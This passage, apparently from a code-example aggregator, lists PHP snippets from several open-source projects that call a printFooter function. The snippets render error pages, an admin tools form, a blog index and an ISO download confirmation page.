\tAssignment Name: <br /><input type='text' name='newName' id='eNewName' value=''><br />
\tPoints: <br /><input type='text' name='points'>
\t<br /><input type='submit' value='Edit'>
\t</div>
END;
}
printFooter("instructor");
コード例 #25
0
ファイル: functions.php プロジェクト: hsrai/GNDEC-SMS-Service
function reportSQLError()
{
    ?>
<html>
<head>
	<title>Address Book - Error</title>
	<link rel="stylesheet" href="styles.css" type="text/css">
	<meta http-equiv="CACHE-CONTROL" content="NO-CACHE">
	<meta http-equiv="PRAGMA" content="NO-CACHE">
	<meta http-equiv="EXPIRES" content="-1">
</head>
<body>

<p>
<b><font style="color:#FF0000;">The Address Book has encountered a problem.</font></b> 

<p>MySQL returned the following error message:

<div class="error"><?php 
    echo "MySQL error number " . mysql_errno() . ": " . mysql_error();
    ?>
</div>

<p>
If necessary, please press the BACK button on your browser to return to the previous screen and correct any possible mistakes.
<br>If you still need help, or you believe this to be a bug, please consult the <a href="http://www.harbhag.wordpress.com/" target="_blank">Author</a>.

<P>

<table border=0 cellpadding=0 cellspacing=0 width=570>
<tbody>
<?php 
    printFooter();
    ?>
</tbody>
</table>

</body>
</html>
<?php 
    // and then exit the script
    exit;
}
コード例 #26
0
ファイル: index.php プロジェクト: 64kbytes/stayinba
function error($myproblem)
{
    global $settings;
    printHeader();
    ?>
<tr>
<td class="vmes"><p>&nbsp;</p>
<div align="center"><center>
<table width="400">
<tr>
<td align="center" class="head">ERROR</td>
</tr>
<tr>
<td align="center" class="dol">
<p>&nbsp;</p>
<p><b>An error occured:</b></p>
<p><?php 
    echo $myproblem;
    ?>
</p>
<p>&nbsp;</p>
<p><a href="index.php">Back to the previous page</a></p>
<p>&nbsp;</p>
</td>
</tr> </table>
</div></center>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
</td>
</tr>
<?php 
    printFooter();
    exit;
}
コード例 #27
0
ファイル: functions.php プロジェクト: Vringe/facileManager
/**
 * Displays error message
 *
 * @since 1.0
 * @package facileManager
 *
 * @param string $message Message to display
 * @return null
 */
function bailOut($message, $title = null)
{
    global $fm_name;
    $branding_logo = $GLOBALS['RELPATH'] . 'fm-modules/' . $fm_name . '/images/fm.png';
    if (!$title) {
        $title = _('Requirement Error');
    }
    printHeader($title, 'install');
    printf('<div id="fm-branding">
		<img src="%s" /><span>%s</span>
	</div>
	<div id="window"><p>%s</p></div>', $branding_logo, $title, $message);
    exit(printFooter());
}
コード例 #28
0
ファイル: admin-tools.php プロジェクト: Vringe/facileManager
/** Get available module tools */
$module_var_file = ABSPATH . 'fm-modules' . DIRECTORY_SEPARATOR . $_SESSION['module'] . DIRECTORY_SEPARATOR . 'variables.inc.php';
if (file_exists($module_var_file)) {
    include $module_var_file;
}
$shared_tools_file = ABSPATH . 'fm-modules' . DIRECTORY_SEPARATOR . 'shared' . DIRECTORY_SEPARATOR . 'pages' . DIRECTORY_SEPARATOR . 'admin-tools.inc.php';
if (file_exists($shared_tools_file)) {
    include $shared_tools_file;
}
$module_tools_file = ABSPATH . 'fm-modules' . DIRECTORY_SEPARATOR . $_SESSION['module'] . DIRECTORY_SEPARATOR . 'pages' . DIRECTORY_SEPARATOR . 'admin-tools.inc.php';
if (file_exists($module_tools_file)) {
    include $module_tools_file;
}
foreach ($tools_option as $tool) {
    $admin_tools .= $tool;
}
echo '<div id="body_container">' . "\n";
if (!empty($response)) {
    echo '<div id="response"><p class="error">' . $response . "</p></div>\n";
} else {
    echo '<div id="response" style="display: none;"></div>' . "\n";
}
echo <<<HTML
\t<div id="admin-tools">
\t\t<form enctype="multipart/form-data" method="post" action="" id="admin-tools-form">
\t\t{$admin_tools}
\t\t</form>
\t</div>
HTML;
printFooter($classes, $output, $block_style);
コード例 #29
0
ファイル: index.php プロジェクト: gkathir15/catmis
                        echo " <span class=\"small1\">";
                        if ($result2->rows() > 1) {
                            echo " <a href=\"" . scriptUrl . "/" . folderBlog . "/index.php?blogId=" . $blogIndex->id . "&amp;up=1\">" . $lBlogIndex["MoveUp"] . "</a>";
                            echo " <a href=\"" . scriptUrl . "/" . folderBlog . "/index.php?blogId=" . $blogIndex->id . "&amp;down=1\">" . $lBlogIndex["MoveDown"] . "</a>";
                        }
                        echo " <a href=\"" . scriptUrl . "/" . folderBlog . "/" . fileBlogEdit . "?blogId=" . $blogIndex->id . "&amp;return=1\">" . $lBlogIndex["EditBlog"] . "</a>";
                        echo "</span>";
                    }
                    echo "</td>";
                    echo "</tr>";
                }
            }
            if ($headerPrinted) {
                echo "</table>";
            }
        }
    }
} else {
    echo "<p><i>" . $lBlogIndex["NoBlogs"] . "</i></p>";
}
// Print links
echo "<br /><br /><br />";
if (pageShowDirectLink) {
    printDirectLink(scriptUrl . "/" . folderBlog);
}
if (pageShowPrinterLink) {
    printPrinterLink(scriptUrl . "/" . folderBlog . "/index.php?print=1");
}
// Print common footer
printFooter(folderBlog);
コード例 #30
0
ファイル: isofetch.php プロジェクト: rapier1/testrig
function complete()
{
    printHeader();
    print "Your download should be starting now. If not please wait a few moments. ";
    print "Once your have downloaded the TestRig 2.0 please go to the following link ";
    print "for instructions on creating the bootable CD/DVD or flash drive.<br>";
    notifyPickup();
    printFooter();
}